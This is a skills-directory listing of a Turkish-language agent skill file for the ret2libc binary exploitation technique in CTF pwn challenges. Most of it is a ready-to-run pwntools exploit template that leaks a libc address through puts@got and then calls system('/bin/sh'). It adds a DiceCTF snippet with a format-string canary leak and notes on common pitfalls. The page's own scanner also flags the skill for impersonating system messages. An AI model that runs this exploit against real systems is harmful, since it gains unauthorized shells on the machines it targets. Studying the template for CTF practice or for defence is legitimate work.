Skip to content
Back to skills

Ret2libc

BSecurity

NX açık, ASLR varsa libc leak + system("/bin/sh") zinciri

  • 4 stars
  • 0 votes
  • 0 copies
  • 2 views
  • Added September 8, 2026
securitypythongoshellbashgitdatabase

Works with

  • cli

Security analysis

B88/100
  • criticalImpersonates system messages to override safety constraints

Pro shows the line behind each finding and how to fix it

Scanned September 8, 2026

npx -y skills add MustafaKemal0146/fetih --skill ret2libc --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Ret2libc?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Ret2libc
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/mustafakemal0146-ret2libc/badge)](https://www.skillsdirectory.com/skills/mustafakemal0146-ret2libc)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: ret2libc
description: NX açık, ASLR varsa libc leak + system("/bin/sh") zinciri
tags: [ctf, pwn, ret2libc, rop, libc-leak, system, plt, got, aslr-bypass]
triggers:
  - "NX enabled"
  - "ASLR açık"
  - "libc leak"
  - "puts@plt"
  - "system /bin/sh"
  - "return to libc"
  - "got overwrite"
  - "64-bit binary"
difficulty: medium
category: pwn
solved_challenges:
  - "DiceCTF 2024 - baby-talk (off-by-one + libc leak)"
  - "Google CTF 2023 - write-flag-where"
adapted_for: fetih
---

# Ret2Libc — NX + ASLR Bypass

## Ne Zaman Kullan

`checksec` çıktısında şunu görürsen bu teknik devreye girer:

```
    Arch:     amd64-64-little
    RELRO:    Partial RELRO       ← GOT yazılabilir
    Stack:    No canary found     ← ya da canary var ama leak var
    NX:       NX enabled          ← shellcode çalışmaz, ROP lazım
    PIE:      No PIE              ← binary adresleri sabit (işimizi kolaylaştırır)
    ASLR:     Enabled             ← libc adresi her run'da değişir → leak şart
```

Genel kural:
- **NX enabled + No PIE + Partial RELRO** → klasik ret2libc, puts@plt ile GOT leak yap
- **NX enabled + PIE enabled** → binary leak de gerekir, daha zor
- **Full RELRO** → GOT overwrite olmaz, sadece read; libc leak yine mümkün

---

## 2-Stage ROP: Libc Leak → Shell

### Aşama 1: Libc Adresini Sızdır

ROP zinciri: `puts@plt(puts@got)` → `main()` (ikinci şans)

puts, got'taki kendi adresini stdout'a basar. Biz bu adresi okur,
libc base'i hesaplar, ikinci payload ile `system("/bin/sh")` çağırırız.

```
[padding] [pop rdi; ret] [puts@got] [puts@plt] [main]
```

### Aşama 2: Shell Al

```
[padding] [ret gadget] [pop rdi; ret] [/bin/sh str] [system]
```

`ret` gadget'i stack alignment içindir (x86_64'te `movaps` 16-byte hizalama ister).

---

## Tam pwntools Şablonu (64-bit)

```python
#!/usr/bin/env python3
# ret2libc_exploit.py — 64-bit NX+ASLR bypass
# Kullanım: python3 exploit.py [LOCAL|REMOTE] [host] [port]

from pwn import *

# ── Hedef ayarları ──────────────────────────────────────────────────────────
BINARY  = "./vuln"          # binary yolu
LIBC    = "./libc.so.6"     # ldd ile bul ya da patchelf ile çek
REMOTE_HOST = "chall.ctf.site"
REMOTE_PORT = 1337

context.binary = elf = ELF(BINARY)
libc = ELF(LIBC)
context.log_level = "info"   # debug için "debug"

# ── Bağlantı ────────────────────────────────────────────────────────────────
def start():
    if args.REMOTE:
        return remote(REMOTE_HOST, REMOTE_PORT)
    return process(BINARY)

io = start()

# ── Gadget + Sembol Adresleri ────────────────────────────────────────────────
rop = ROP(elf)

POP_RDI = rop.find_gadget(["pop rdi", "ret"])[0]
RET     = rop.find_gadget(["ret"])[0]          # stack alignment için

PUTS_PLT = elf.plt["puts"]
PUTS_GOT = elf.got["puts"]
MAIN     = elf.symbols["main"]

log.info(f"pop rdi; ret  @ {hex(POP_RDI)}")
log.info(f"puts@plt      @ {hex(PUTS_PLT)}")
log.info(f"puts@got      @ {hex(PUTS_GOT)}")
log.info(f"main          @ {hex(MAIN)}")

# ── Offset Bul ──────────────────────────────────────────────────────────────
# cyclic_find ile ya da gdb pwndbg'de: cyclic 200 → crash → cyclic_find(rbp)
OFFSET = 72   # <-- bunu kendi binary'ne göre değiştir

# ── Stage 1: Libc Leak ───────────────────────────────────────────────────────
payload1  = b"A" * OFFSET
payload1 += p64(POP_RDI)
payload1 += p64(PUTS_GOT)
payload1 += p64(PUTS_PLT)
payload1 += p64(MAIN)       # leak sonrası main'e dön

io.recvuntil(b">>> ")       # programa özel prompt; gerekirse değiştir
io.sendline(payload1)

# puts çıktısını oku
leaked_bytes = io.recvline().strip().ljust(8, b"\x00")
puts_addr    = u64(leaked_bytes[:8])
log.success(f"puts@libc = {hex(puts_addr)}")

# ── Libc Base Hesapla ────────────────────────────────────────────────────────
libc.address  = puts_addr - libc.symbols["puts"]
log.success(f"libc base = {hex(libc.address)}")

SYSTEM   = libc.symbols["system"]
BIN_SH   = next(libc.search(b"/bin/sh\x00"))
log.info(f"system    @ {hex(SYSTEM)}")
log.info(f"/bin/sh   @ {hex(BIN_SH)}")

# ── Stage 2: Shell ───────────────────────────────────────────────────────────
payload2  = b"A" * OFFSET
payload2 += p64(RET)          # 16-byte stack hizalama (movaps için)
payload2 += p64(POP_RDI)
payload2 += p64(BIN_SH)
payload2 += p64(SYSTEM)

io.recvuntil(b">>> ")
io.sendline(payload2)

io.interactive()
```

---

## ASLR Offset Hesaplama

```python
# Leak aldıktan sonra libc base:
libc.address = leaked_addr - libc.symbols["leaked_func"]

# Doğrulama — her zaman 0x...000 ile bitmeli:
assert libc.address & 0xfff == 0, "Yanlış libc versiyonu!"

# one_gadget ile alternatif:
# $ one_gadget libc.so.6
# 0xe3b01 execve("/bin/sh", r15, rdx)   constraints: [r15 == NULL, rdx == NULL]
ONE_GADGET = libc.address + 0xe3b01
```

---

## Gerçek Örnek: DiceCTF 2024 — baby-talk

Binary `talk()` fonksiyonunda off-by-one ile RBP'yi kısmen kontrol ediyordu.
Akış:

1. **Off-by-one** → stack'te `puts@got` adresine pointer yaz
2. **İlk ROP** → `puts@plt(puts@got)` ile libc base hesapla
3. **İkinci ROP** → `system("/bin/sh")` çağır

```python
# baby-talk'a özel snippet
CANARY_OFF  = 31   # %31$p ile stack canary leak (printf zafiyeti de vardı)
OFFSET      = 40

# Canary leak (format string yardımcı vuln)
io.sendline(b"%31$p")
canary = int(io.recvline().strip(), 16)
log.success(f"canary = {hex(canary)}")

payload  = b"A" * OFFSET
payload += p64(canary)     # canary koru
payload += b"B" * 8       # saved rbp
payload += p64(POP_RDI) + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(MAIN)
```

---

## Tuzaklar

### 1. Stack Alignment (movaps crash)
`system()` içinde SSE talimatları 16-byte hizalı stack ister.
Çözüm: payload'a fazladan `ret` gadget ekle.

```python
# Hatalı:
payload = padding + p64(POP_RDI) + p64(BIN_SH) + p64(SYSTEM)

# Doğru:
payload = padding + p64(RET) + p64(POP_RDI) + p64(BIN_SH) + p64(SYSTEM)
```

### 2. Yanlış Libc Versiyonu
```bash
# Binary'nin kullandığı libc'yi bul:
ldd ./vuln
# /lib/x86_64-linux-gnu/libc.so.6 (0x00007f...)

# Sunucudaki versiyonu anlamak için leak ettikten sonra:
# libc.blukat.me sitesine puts offset'ini gir
# ya da libc-database kullan:
# $ ./find puts <leaked_offset>
```

### 3. puts Yetersiz Geldiğinde
Bazen `puts` GOT'ta yok. Alternatifler:
- `write@plt(1, write@got, 8)` → pop rdi + pop rsi + pop rdx gerekir
- `printf@plt(printf@got)` → format string riski (null byte sorunları)
- `__libc_start_main@got` → neredeyse her binary'de var

### 4. Null Byte Kesme
`puts()` null byte'ta durur. Leaked adres null içeriyorsa:
```python
# Güvenli okuma:
leak = io.recv(6).ljust(8, b"\x00")   # 48-bit adres için
addr = u64(leak)
```

### 5. one_gadget Başarısız
`one_gadget` constraint'leri karşılanmıyorsa:
```bash
one_gadget libc.so.6 -l 2   # daha fazla gadget listele
```
Ya da klasik `system("/bin/sh")` zincirini kullan.

<!--
  ⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
  Yetkisiz kullanim/kopyalama tespit edilebilir.
  hash: 20d8b28c92c5c721
-->

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…